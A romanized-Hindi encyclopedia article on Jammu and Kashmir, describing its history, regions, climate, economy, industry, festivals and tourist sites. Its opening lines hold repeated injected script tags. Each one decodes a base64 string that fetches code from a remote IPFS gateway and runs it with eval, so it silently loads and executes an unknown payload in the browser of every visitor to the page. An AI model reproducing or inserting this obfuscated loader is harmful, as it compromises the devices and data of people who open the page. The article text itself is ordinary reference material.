<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> daman aur div <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> lakshadvip <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> puducheri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

19vian sadi ke is aanchal ki sima - nirdharan ke kuchh prayas kie ge, lekin suspasht paribhasha karane ke prayatn aqsar is bhoobhag ki prakriti aur aise vishal kshetroan ke karan, jo sthayi bastiyoan se rahit the, saphal nahian ho pae. udaharanarth - sudoor uttar mean maharaja ki satta karakoram parvat shreni tak phaili huee thi. lekin usake age turkish‍tan aur madhy eshiya ke sikyaang kshetroan ki sima rekha par ek vivadaspad kshetr bana raha aur sima rekha kabhi nishchit nahian ho paee. isi prakar ki shankaean us sima kshetr ke bare mean rahi, jo uttar mean aksaee chin ko as pas se ghere hue hai aur age jakar tibbat ki suspasht sima rekha se milata hai aur jo sadiyoan se laddakh kshetr ki poorvi sima par bana hua tha. pashchimottar mean simaoan ka svaroop 19vian shatabdi ke akhiri dashak mean adhik spasht hua. jab briten ne pamir kshetr mean sima nirdharan sambandhi samajhaute afaganistan aur roos ke sath sampann kie. is samay gilagit, jo hamesha kashmir ka bhag samajha jata tha, rananitik karanoan se 1889 mean ek british ejeant ke tahat ek vishesh ejeansi ke roop mean gathit kiya gaya. san 1947 mean jammoo par dogara shasakoan ka shasan raha. isake bad maharaj hari sianh ne 26 akh‍toobar, 1947 ko bharatiy sangh mean vilay ke samajhaute par hash‍takshar kar diye.

sthiti

jammoo aur kashh‍mir rajh‍y 32-15 aur 37-05 uttari akshaansh aur 72-35 tatha 83-20 poorvi deshaantar ke bich sthit hai. bhaugolik roop se is rajh‍y ko char kshetroan mean baanta ja sakata hai.

1. paha di aur arddh-paha di maidan jo kandi patti ke nam se prachalit hai;
2. parvatiy kshetr jisamean shivalik paha diyaan shamil haian;
3. kashh‍mir ghati ke paha d aur pir paanchal parvatamala tatha
4. tibh‍bat se laga laddakh aur karagil kshetr.

bhaugolik tatha saansh‍kritik roop se rajh‍y ke tin zila kshetr jammoo kashh‍mir aur laddakh haian.

rajadhani

is rajy ki rajadhani grishh‍makal mean shrinagar aur shitakal mean jammoo rajadhani rahati hai.

jalavayu

rajy ka 90 pratishat se adhik bhag paha di kshetr hai. is kshetr ko bhaugolik akriti ki drishti se is sat bhagoan mean baanta gaya hai. jo pashchimi himalay ke sanrachanatmak ghatakoan se ju de haian. dakshin pashchim se poorvottar tak in kshetroan mean maidan, nichali paha diyaan, pir panjal parvat shreni, kashmir ki ghati, vrihad himalay kshetr, oopari siandhu ghati aur karakoram parvat shreni shamil hai. jalavayu ki drishti se isamean poorvottar ki alpiy (paha di) jalavayu se lekar dakshin—pashchim mean uposhn tak ki vividhata hai. ausat varshik varsha uttar mean 75 mimi se lekar dakshin-poorv mean 1150 mimi tak hai.

bhoogol

bhaugolik roop se is rajy ko nimn prakar se vibhajit kiya jata hai-
[[chitr:Dal-Lake-Srinagar.jpg|thumb|250px|dal jhil, shrinagar
Dal Lake, Srinagar]] maidan

jammoo kshetr mean sankirn maidani pravesh ki visheshata taraiyoan se nikali jaladharaoan ke dvara jama avasad aur domat mitti v loes (vayu ke dvara lakar jama ki gee mitti) se dhake ekadam alag ho chuke aparadit chattan se nirmit retile jalodh pankhoan ke aantahbandhan haian. jo abhinootan (plistosin) yug (yani 10 hazar se 16 lakh varsh purana) ke haian. yahaan varsha 380 se 500 mimi varshik tak hoti hai. garmi ke mausam mean (joon se sitanbar mean) jab manasooni havaean chalati haian, tab tez lekin aniyamit phuharoan ke roop mean varsha hoti hai. aandarooni ilaqa pe doan se poori tarah vihin ho gaya hai aur kantili jha diyaan ya moti ghas hi yahaan ki mukhy vanaspati hai.

taraee kshetr

himalay ki taraiyoan se, jinaki ooanchaee 610 se 2134 mitar tak hai, bahari aur bhitari prakshetr nirmit hai. bahari parikshetr ki rachana balua patthar, chikani mitti, pank aur sanpi dit chattanoan se huee hai. ye kshetr himalay ki valan gatividhi se prabhavit hokar aur aparadan ke karan lambe parvatiy katakoan aur ghatiyoan (doon) ke akar ke ho ge haian. aandarooni prakshetr adhik bhimakay talachhati chattanoan se, jisamean miosin yug (lagabhag 53 se 237 lakh varsh poorv) ke lal balua patthar shamil haian, se bana hai. jinake mu dane tutane aur ksharit hone se kh di dhalan vale parvat skandhoan v patharoan ka nirman hua. nadi ghatiyoan ki katan tikhi v sidhidar hai aur bhranshoan se oodhamapur tatha puanchh jaise jalodh mitti ke besin ban ge haian. ooanchaee ke sath - sath varsha badhati jati hai aur ooanchaee badhane ke sath nichali jha didar bhoomi ka sthan devadar aur chi d ke jangal le lete haian.
[[chitr:Thiksey-Gompa-Ladakh.jpg|thumb|250px|left|thiksey gompa, leh
Thiksey Gompa, Leh]] pir panjal parvat shreni

pir panjal parvat shreni himalay se sanmbaddh pahali parvat shrriankhala hai. isaki ausat shirsh rekha 3,810 mitar ooanchi hai. jisamean koee - koee choti 4,572 mitar tak ooanchi hai. grenait, shail, kvartaj v slet se bani chattanoan vali yah parvatashreni abhinootan (plistosin) yug mean kee bar utthan tatha darar p dane jaisi bhaugolik ghatanaoan ka shikar huee aur gleshiyaroan se prabhavit huee. parvatamala par shit ­rritu mean kafi barf girati hai aur garmi mean kafi barish hoti hai. isamean vishal charagah kshetr haian, jo vriksh kshetr se oopar ki taraf haian.

kashmir ki ghati

kashmir ki ghati ka ek gahara tatha visham besin hai, jo pir panjal aur vishal himalay parvat shreni ke pashchim chhor ke bich mean sthit ausatan 1,600 mitar ki ooanchaee vali hai. abhinootan (plistosin) yug ke dauran yah kabhi kareva jhil ki talahati thi. ab yah oopari jhelam nadi ke dvara jama ki gee talachhat aur jalodh mitti se bhari huee hai. mitti aur pani ki sthitiyoan mean ullekhaniy vividhata hai. jalavayu ki drishti se yahaan lagabhag 750 mimi varshik varsha hoti hai. kuchh to grishm kalin manasooni havaoan se aur kuchh shit ­ rritu mean kam dab ki pranali se sambaddh havaoan se hoti hai. aksar himapat ka sath varsha aur ole dete haian. ooanchaee ke karan tapaman kafi parivartit ho jata hai. shrinagar mean nyoonatam ausat tapaman janavari mean 2 digri se. hota hai aur adhikatam ausat tapaman julaee mean 31 digri se. tak rahata hai. [[chitr:Kashmir-Valley.jpg||thumb|220px|kashmir ki ghati
Kashmir Valley]] 2,134 mitar ki ooanchaee tak jatil aur sthalakriti ki drishti se vishal vrihad himalay mean 6,096 mitar se adhik tak ooanchaee vali kuchh parvat shreniyaan haian, jinake bich - bich mean bahut gahari ghatiyaan haian. abhinootan (plistosin) yug mean yah kshetr bhari gleshiyaroan ke aantargat ata tha aur gleshiyaroan ke avashesh v himakshetr rahe hone ke chihn abhi bhi yahaan maujood haian. is prakshetr mean garmi ke mahinoan mean dakshin - pashchimi manasooni havaoan se kuchh varsha hoti hai. isake nichale dhalan vanachchhadit haian, lekin himalay ek jalavayu vibhajak jaisa hai. is or bharatiy upamahadvip ki manasooni jalavayu hai aur doosari or madhy eshiya ki shushk mahadvipiy jalavayu hai.

oopari siandhu ghati

oopari siandhu ghati ki ek suparibhashit bhaugolik visheshata hai, jo bhoogarbhiy sanrachana ki pravritti ke anusar hai. yah tibbat ki sima se pashchim ki or age badhate hue pakistani bhoo - bhag mean us bindu tak jati hai, jahaan vishal nanga parvat ka chakkar katakar dakshin ki or isake ar par kate mahakhadd ki or jati hai. oopari bhagoan mean yah nadi donoan taraf bajari ki sidhinuma sanrachanaoan se ghiri hai. pratyek sahayak nadi mukhy ghati mean bahar nikalate hue ek jalodh pankh banati hai. leh nagar isi prakar ke ek jalodh pankh par sthit hai aur samudri satah se 3,500 mitar ki ooanchaee par hai. yahaan ki jalavayu ki visheshataean haian – varsha ka lagabhag n hona, soory ki kiranoan ka tikhapan aur tapaman ke dainik v varshik aantaroan mean utar - chadhav, yahaan par jivan asapas ke parvatoan se pighale hue pani par nirbhar hai. yahaan ki vanaspati paha di (alpiy, yani vrikshoan ke ugane ki sima rekha ke oopar ki vanaspati) hai, jo patali parat vali mitti par ugati hai.

karakoram parvat shreni

grenait - pattitashm ka vishal parvat piand, karakoram shrriankhala, bharatiy kshetr se pakistani bhoomi tak phaili huee hai. isamean sansar ki sarvochch chotiyoan mean se kuchh haian, jisamean se ek 'ke - 2' hai, jisaki ooanchaee 8,611 mitar hai. kam se kam 30 any chotiyaan 7,315 mitar se adhik ooanchi haian. yah parvatamala, jo b de bhari gleshiyaroan se pati p di hai, shushk aur viran patharoan se oopar ubhari huee haian. visham tapaman aur vikhandit chattanoan ke malabe isaki visheshataean haian. karakoram ko 'duniya ki chhat' kaha jana bilkul uchit pratit hota hai.

janajivan aur gramin bastiyaan

[[chitr:Gulmarg-Temple.jpg|thumb|250px|gulamarg ka mandir
Temple Of Gulmarg]] bhoo - akriti ki vividhata ke karan is kshetr mean logoan ke vyavasayoan mean bhi bhari vividhata paee jati hai. logoan ke panjab se akar basane ki dirghakalin pravritti ke karan maidanoan aur taraiyoan mean krishi bastiyaan haian. log aur unaki sanskriti, donoan ki panjab ke p dosi kshetroan aur pashchim ki any nimnabhoomi ke samaroop hai. jahaan jaladh mitti aur sianchaee ke lie pani ki upalabdhi ne kheti ko sambhav banaya hai. jaisa ki doonoan aur nichali ghatiyoan mean hua. janasankhya geanhooan aur jau ki fasaloan par nirbhar hai. yah fasal basant (rabi) mean kati jati hai aur chaval tatha makka grishm ke aant (kharif) ki fasalean haian, sath hi pashupalan bhi viral hai aur makka ki kheti, pashupalan aur vany upajoan par nirbhar hai. dakshini maidani bazaroan ke lie doodh aur shuddh ghi ke utpadan ke lie basant mean ooanche charagahoan ki or pravas zaroori hota hai. shit rritu mean paha diyoan ke nivasi nichale kshetroan mean laut ate haian aur shasakiy vanoan ya lak di ki miloan mean kam karate haian. khetihar chhoti bastiyoan aur gaanvoan ki bahutayat hai. jammoo aur udhamapur jaise nagar gramin aur asapas ke istet ke lie bazar kendr v prashasanik mukhyalay ka kam karate haian.

ghati aur paha di kshetroan ke kashmiri log

kashmir ki ghati aur usake asapas ke ooanchaee vale kshetr (mukhyatah kashmir) ne sada se apani alag pahachan banae rakhi hai. janasankhya ka adhikaansh bhag muslimoan ka hai, jo saanskritik aur manav vijnan ki drishti se pakistani ilaqe ke gilagit zile ke pashchimottar ke ooanche kshetr ke logoan se nikatatam roop se sambandhit haian. janasankhya ka b da bhag ghati ke nichale ilaqe mean rahata hai. jammoo - kashmir rajy ka sabase b da shahar shrinagar jhelam nadi par sthit hai.

prani jivan

jangali janavar, jinamean saiberiyaee sakin (aibeks), lal laddakhi jangali bhe d, durlabh kashmiri hiran (hangal) shamil hai, dakiangham rashtriy udyan mean pae jate haian. inake alava kale aur bhoore rang ke richh, kee shikar sulabh chi diyaean aur b di sankhya mean pravasi battakhean bhi yahaan par paee jati haian.

bhasha

kashmiri bhasha sanskrit se prabhavit hai aur gilagit ki vibhinn paha di janajatiyoan ke dvara boli jane vali bharatiy - ary bhashaoan ki dardiy shakha ki hai. urdoo, dogari, kashh‍miri, laddakhi, balh‍ti, paha di, panjabi, gujari aur dadari bhashaoan ka prayog sadharan nagarikoan dvara kiya jata hai. kashmir ki ghati ke nivasi urdoo ya kashmiri bolate haian. kashmiri bhasha bharatiy ary varg ki dardiy shakha ki hai aur lokagitoan v sahity se samriddh hai.

janasankhya

2001 ki janasankhya ganana ke anusar rajy ki kul janasankhya 1,00,69,917; gramin janasankhya 75,64,608; shahari janasankhya 25,05,309 hai.

arthavyavastha

[[chitr:Kashmir-Goat.jpg|thumb|250px|pashmina bakari, jammoo aur kashmir
Pashmina Goats, Jammu And Kashmir]] adhikaansh log jivan nirvah ke lie krishi mean lage haian aur chaval, makka, gehooan, jau, dalean, tilahan tatha tambakoo sidhinuma paha di dhalanoan par ugate haian. kashmir ki ghati mean b de - b de bagoan mean seb, nashapati, adoo, shahatoot, akharot aur badam ugae jate haian. kashmir ki ghati bharatiy upamahadvip ke lie ekamatr kesar utpadak hai. goojar aur gaddi khanabadoshoan ke dvara bhe d, bakari, y aauk v khachcharoan ka palan aur rritu pravas kiya jata hai. kashmir ke prasiddh pashmina ka utpadan yahian pali jane vali bakariyoan se hota hai. resham palan bhi bahut prachalit hai.

rajy ki arthavyavastha hastakala udyogoan, jaise hathakaragha se sthaniy resham v oon ki bunaee, galicha aur dari bunana, lak di par naqqashi kagaz ki lugdi ki karigari adi par nirbhar hai. parishuddhata ki jaanch karane vale upakaran, dhatu ke bartan, khel ka saman, farnichar, machis aur ral v tarapin mukhy audyagik utpadan haian. paryatan yahaan ka prachinatam udyog hai. is oob d - khab d aur vanachchhadit kshetr mean yatayat ek mahattvapoorn samasya hai. jammoo, bharat ke uttari relave ka antim steshan hai.

udyog

hash‍t‍shilh‍p yahaan ka parapanragat udyog hai. hath se bani vash‍tuoan ki vh‍yapak rojagar kshamata aur visheshajnata ko dekhate hue rajh‍y sarakar h‍sh‍tashilh‍p ko uchh‍ch prathamikata de rahi hai. kashh‍mir ke pramukh hash‍tashilh‍p uth‍padoan mean kagaz ki lugadi se bani vash‍tuean, lak di par naqqashi, kalin, sh aaul aur kashidakari ka saman adi shamil haian. hash‍tashilh‍p udyog se kafi matra mean videshi mudra arjit hoti hai. hash‍tashilh‍p udyog mean 3.40 lakh kamagar lage hue haian. udyogoan ki sankhh‍ya badhi hai. karatholi, jammoo mean 19 karo d rupaye ka niryat proth‍sahan audyogik park banaya gaya hai. aisa hi ek park omapora, badagam mean banaya ja raha hai. jammoo mean shahari hat haian jabaki isi tarah ke hat shrinagar mean banae ja rahe hai. ragreth, shrinagar mean 6.50 karo d rupaye ki lagat se s aauphtevayar tekh‍nol aauji park shuroo kiya gaya hai. thumb|250px|left|kashmiri sh aaul
Kashmiri Shawl bhoomi sudhar kie ge haian. ann ka utpadan badha hai aur 1947 ke bad mukhy niryat vastuoan, lak di, phal aur sookhe meve v dastakari ke utpadan ki matra bahut badhi hai. dhatu ke bartan, parishuddhata ke upakaran, khel ka saman (mukhyatah kriket ke balle), farnichar, kashidakari, machis, ral aur tarapin is rajy ke pramukh audyogik utpad haian. shrinagar mean kee krishi mandiyaan, phutakar vikray kendr aur inase ju de hue udyog bhi ab gramin karigari se age badhe haian aur ab isamean sthaniy resham, kapas aur oon ki hastakaraghoan par bunaee, galiche bunana, lak di par naqqashi aur cham de ka kam shamil haian. chaandi aur taanbe ke kam aur abhooshan—nirman sahit in sabhi udyogoan ko raj darabar ki upasthiti ke karan pahale badhava mila tha aur ab mukhyatah paryatan vyapar se milata hai. sath hi, pashchim himalayi vyapar mean shrinagar dvara arjit mahattvapoorn sthiti ke karan bhi in udyogoan ko protsahan mila hai. gat samay mean yah shahar ek taraf panjab kshetr ke utpadanoan aur doosari taraf karakoram ke poorvi pathari kshetr, pamir aur laddakh shreniyoan ke bich punarniryat kendr ki bhoomika nibhata tha. abhi bhi pashchimottar ki or gilagit tak raj diyangan darre se hokar aur poorvottar ki taraf zoji darre se hokar leh tak v age bhi marg upalabdh hai. hastakala utpad bhi laddakh mean mahattvapoorn haian. visheshakar kashmiri shalean, galiche aur kambal.

krishi

[[chitr:Gulmarg-Jammu-And-Kashmir.jpg|thumb|250px|gulamarg, jammoo aur kashmir
Gulmarg,Jammu and Kashmir]] rajh‍y ki lagabhag 80 pratishat janasankhh‍ya krishi par nirbhar hai. dhan, gehooan aur makh‍ka yahaan ki pramukh fasalean haian. kuchh bhagoan mean jau, bajara aur jh‍var ugaee jati hai. laddakh mean chane ki kheti hoti hai. phalodyanoan ka kshetraphal 242 lakh hekh‍teyar hai. rajh‍y mean 2000 karo d rupaye ke phaloan ka uth‍padan prativarsh hota hai jisamean akharot niryat ke 120 karo d rupaye bhi shamil haian. jammoo-kashh‍mir rajh‍y seb aur akharotoan ke lie krishi niryat kshetr ghoshit kiya gaya hai. bazar hash‍takshep yojana ki shurooat se uchit grediang sunishchit karate hue phaloan ki gunavatta mean sudhar laya jata hai. 25 lakh se adhik logoan ko prath‍yaksh athava roop se bagavani kshetr se rojagar milata haian. kashmiri janasankhya ka adhikaansh bhag vividh tariqoan ki kheti mean laga hua hai, jinhean sthaniy paristhitiyoan ke anuroop dhala gaya hai. chaval, jo yahaan ka mukhy bhojan hai, mee mean boya jata hai aur sitanbar mean kata jata hai. makka, jvar, bajara, dalahan (phaliyaan jaise matar, sem tatha mooang) kapas aur tambakoo, chaval ke sath garmi ki mukhy fasalean hai, jabaki gehooan v jau basant ki pramukh fasalean haian. kee shitoshn phal v sabziyaan shahari bazaroan ke nazadik kshetroan mean ugaee jati hai ya kafi pani vale kshetroan mean, jahaan ki bhoomi achchhi tarah sianchit aur upajaoo hai. kashmir ki ghati mean b de - b de bagoan mean seb, nashapati, adoo, akharot, badam aur cheri ugae jate haian. kashmir ki ghati upamahadvip mean kesar ki ekamatr utpadak hai. jhil ke kinaroan par vishesh taur par sabziyaan aur phooloan ki gahan kheti hoti hai. aisa hi punarprapt daladali zamin ya tairate hue bagichoan mean kiya jata hai. bhoomi par janasankhya ka dabav sab jagah prakat hota hai aur sabhi upalabdh sansadhanoan ka upayog kiya jata hai. jhil aur nadiyaan machhaliyaan, siangha de tatha jal vidyut upalabdh karati haian aur inaka upayog yatayat ke lie bhi kiya jata hai. jo paryatakoan ke lie mukhy akarshan bhi hai. parvatoan se kee prakar ki lak di prapt hoti hai aur vahian bhe doan aur dugdh utpadak janavaroan ko charagah milate haian.

khanij sampada

is kshetr mean khanij aur jivashm eeandhan ke sadhan simit haian. inaka adhikaansh bhag jammoo kshetr mean sankeanndrit hai. prakritik gais ke chhote bhandar jammoo ke nikat pae jate haian. baksait aur jipsam ke bhandar oodhamapur zile mean haian. any khanijoan mean choona patthar, koyala, jasta aur taanba shamil hai.

bijali

rajh‍y mean bijali kshetr ko uchh‍ch prathamikata di gee hai jisamean rajh‍y ki 20,000 megavat ki vishal sanbhavh‍y panabijali kshamata ke upayog par vishesh bal diya gaya hai.

25 megavat tak ki laghu panabijali pariyojanaoan mean niji nivesh ko proth‍sahan dene hetu nee niti ghoshit ki gee hai. en.ech.pi.si. ko 2,798 megavat ki kshamata ki sat panabijali pariyojanaean sauanpi gee haian. rajh‍y ki kul avashh‍yakata neshanal grid se bijali kharid kar poori hoti hai. leh sahit adhikaansh mahattvapoorn nagaroan aur gaanvoan mean bijali hai. bijali paida karane ke lie jalavidyut aur tapavidyut sanyantr lagae ge haian, jo sthaniy kachche mal par adharit udyogoan ko bijali ki apoorti karate haian. chineni aur salan mean mukhy vidyut kendr haian, jo oopari siandhu aur nichali jhelam nadi par haian. uri jalavidyut pariyojana ka pahala charan bhi prarambh kiya gaya hai.

prashanik vyavasthaean

[[chitr:Shah-Hamdan-Mosque-Srinagar.jpg|thumb|250px|shah hamadan masjid, shrinagar
Shah Hamdan Mosque, Srinagar]] vibhajan se pahale yah sampoorn kshetr jammoo aur kashmir ke prant v simavarti rajyoan laddakh, baltistan tatha gilagit ejeansi ko samavisht kie hue tha. muzaffarabad, kotali aur mirapur zile ke sath - sath uttari kshetroan mean shamil puanchh, baltistan, asataur aur gilagit ejeansi, jo ab pakistan adhikrit kshetr hai, ke hisse haian. yah sampoorn kshetr laddakh (leh) zila aur anantanag, baramoola, shrinagar, pulavama, b dagam, kupava da aur karagil zila, jo shrinagar prant mean haian aur jammoo prant ke zile, kathua, udhamapur, rajauri, doda aur puanchh ka kuchh bhag, ye sabhi bharat ke jammoo - kashmir rajy ke bhag haian. jammoo - kashmir rajy ka sangh sarakar mean ek vishesh darja bana hua hai. bharat ke shesh rajy bharatiy sanvidhan ka palan karate haian, lekin jammoo - kashmir ka apana prithak sanvidhan (1956 mean svikrit) hai, jo bharatiy ganarajy ka abhinn aang hone ki pushti karata hai. sangh sarakar ke pas pratiraksha, videsh niti evan sanchar ke mamaloan mean pratyaksh vaidhanik adhikar haian aur nagarikata, suprim kort ke kshetradhikar aur apatakalin shaktiyoan ke mamaloan mean apratyaksh prabhav hasil hai. jammoo - kashmir ke sanvidhan ke aantargat, rajy ke rajyapal ki niyukti bharat ke rashtrapati dvara ki jati hai. prashasanik adhikar, nirvachit mukhyamantri aur mantrimandal ke pas hote haian. vidhanasabha ke do sadan hai - vibhinn kshetroan ke 87 pratinidhiyoan se gathit vidhanasabha aur 36 sadasyiy vidhan parishad, rajy se chhah nirvachit pratinidhi sidhe bharatiy sansad ki lokasabha mean bheje jate haian aur vidhanasabha v vidhan parishad dvara sanyukt roop se nirvachit chhah sadasy rajyasabha mean bheje jate haian. uchch nyayalay mean ek mukhy nyayadhish aur 11 any nyayadhish hote haian, jo bharat ke rashtrapati dvara niyukt kie jate haian.

shiksha aur svasthy

shiksha har star par niahshulk hai. saksharata ki dar, visheshakar leh mean, rajy ke ausat ke barabar hai. uchch shiksha ke do kendr haian. donoan 1969 mean sthapit hue the. ye haian – kashmir mahavidyalay, shrinagar aur jammoo vishvavidyalay, chikitsa seva rajy bhar mean phaile hue aspataloan aur davakhanoan dvara pradan ki jati hai. 1982 mean sthapit chikitsa vijnan ka ek uchch stariy visheshajn sansthan shrinagar mean hai. isake alava do krishi vishvavidyalay bhi shrinagar aur jammoo mean kramashah 1982 se 1999 mean sthapit kie ge the. laddakh mean svasthy suvidhaoan ki upalabdhata apekshakrit kam hai. inaflueanza, dama aur pechish svasthy sambandhi samany samasyaean haian. hriday rog, kaiansar v kshayarog ke mamale bhi ghati mean badh rahe haian.

janaganana

janaganana 2001 ke anusar rajh‍y ki saksharata dar 54.46 pratishat hai; gramin saksharata 48.22 pratishat aur shahari saksharata 72.17 pratishat haian. rajh‍y mean puroosh saksharata anumanat: 67.75 pratishat aur mahila saksharata 41.82 pratishat haian. yahaan paanch vishh‍vavidyalay aur 41 mahavidyalay haian jinamean se 8 niji kshetr ke haian.

yatayat

bharatiy sangh sarakar ne jammoo - kashmir mean rajamargoan aur sanchar suvidhaoan ke vikas par bhari viniyog kiya hai. desh ke vibhajan aur kashmir par bharat - pakistan vivad ke karan shrinagar se jhelam ki ghati hote hue ravalapiandi ka marg avaruddh ho gaya. isake karan ek lambe aur adhik kathin ga di marg ko, jo banihal darre se hokar jata tha, sabhi mausamoan mean upayog yogy rajamarg mean badalana zaroori ho gaya. isi mean shamil hai 'javahar surang' (1959) ka nirman, jo eshiya ki sabase lambi surang hai. magar yah s dak kee bar tikhe mausam ke karan durgam ho jati hai. jisake karan ghati mean avashyak vastuoan ki kami ho jati hai. ek s dak shrinagar ko karagil aur leh se milati hai. jammoo uttar relave ka antim steshan hai. shrinagar aur jammoo vayamarg se dilli aur doosare bharatiy shaharo se ju de hue haian. shrinagar se leh, leh—jammoo aur leh—dilli ke bich bhi vayusevaean upalabdh haian.
[[chitr:Camel-Jammu-And-Kashmir.jpg|thumb|220px|left|ooantoan ka jhuand, jammoo aur kashmir
Camels herds, Jammu And Kashmir]] s dakean rajh‍y mean lok nirman vibhag dvara rakharakhav ki jane vali s dakoan ki lanbaee 15,012 ki.mi. tak pahuanch gee hai.

relave rel sevaean keval jammoo tak upalabh‍dh haian. jammoo-udhamapur rel lain ke nirman ka kam poora ho gaya hai. shrinagar tatha baramula tak relamarg vish‍tar ka kam shuroo ho gaya hai. udhamapur-katara aur kajiguanj-baramula rel liank pariyojana ek rashh‍triy pariyojana hai jisake 2007 tak poora hone ki sanbhavana hai.

uddayan shrinagar, jammoo aur leh rajh‍y ke mukhh‍y havaee adde haian jo jammoo aur kashh‍mir ko havaee marg se desh ke anh‍y bhagoan se jo date haian. shrinagar havaee adde ko aantararashh‍triy sh‍tar ka banaya gaya hai.

th‍yohar

ashvin mas mean shukh‍l paksh ki dashami ko ravan par ram ki vijay ke pratik roop mean dashahara ya viyajadashami ka th‍yohar manaya jata hai. shivaratri bhi jammoo aur kashh‍mir mean shraddha aur bhakti ke sath manaee jati hai. rajh‍y mean manae jane vale char muslim th‍yohar haian- eed-ul-phitar, eed ul zuha, eed-e-milad ya miladunnabi aur meraj alam. muharram bhi manaya jata haian. laddakh ka vishh‍v prasiddh gomh‍pa uth‍sav joon mahine mean manaya jata hai. hemis uth‍sav ka pramukh akarshak mukhauta nrith‍y hai. leh mean spituk bauddh vihar mean har sal janavari mean hone vale parv mean kali ki pratimaean b de paimane par pradarshit ki jati haian. isake alava sardi ke charam ka th‍yohar loh di tatha ramaban aur p dos ke gaanvoan mean sianh sankraanti aur agash‍t mah mean bhadaravah mean mela pat manaya jata haian.

paryatan sh‍thal

[[chitr:Srinagar-Kashmir.jpg|thumb|250px|hausabot, shrinagar
Houseboat, Srinagar]] paryatan suvidhaoan mean kafi sudhar kie ge haian, yadyapi sambhavanaoan ka abhi bhi kafi upayog karana shesh hai. paryatan ka laddakh par mahattvapoorn samajik - arthik prabhav p da hai. yah 1970 tak bahari logoan se samanyatah kata raha tha. (1974 mean 500 paryatak aur 1992 mean 16,018). aitihasik aur dharmik sthaloan ke alava paryatakoan ke akarshan ke kendr haian -

• gulamarg mean ais sketiang kendr, jo baramoola ke dakshin mean pir panjal shreni mean sthit hai aur pahalagam, jo liddar nadi ke kinare sthit hai.
• gandhak ke sote, jo jo doan ke dard aur gathiya ke rogoan ke shighr ilaj ke lie prasiddh haian, leh ke nikat chumathang mean aur nobara v pooga (chagathang) mean sthit hai, paryatakoan ko akarshit karate haian.
• kashh‍mir ghati ko prithh‍vi ka sh‍varg mana jata hai. kashh‍mir ghati mean chashh‍meshahi jharana, shalimar bag, dal jhil, gulamarg, pahalagam, sonamarg aur amaranath ki parvat gupha tatha jammoo ke nikat vaishh‍no devi mandir, patani tap aur laddakh ke bauddh math rajh‍y ke pramukh paryatan keandr haian. 15 sitanbar ko laddakh mahoth‍sav tatha joon siandhu darshan prasiddh th‍yohar haian.

[[chitr:Leh-Panorama.jpg|x250px|alt=leh|leh ka vihangam drishy
Panoramic View Of Leh]]

leh ka vihangam drishy
Panoramic View Of Leh

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panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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sanbandhit lekh

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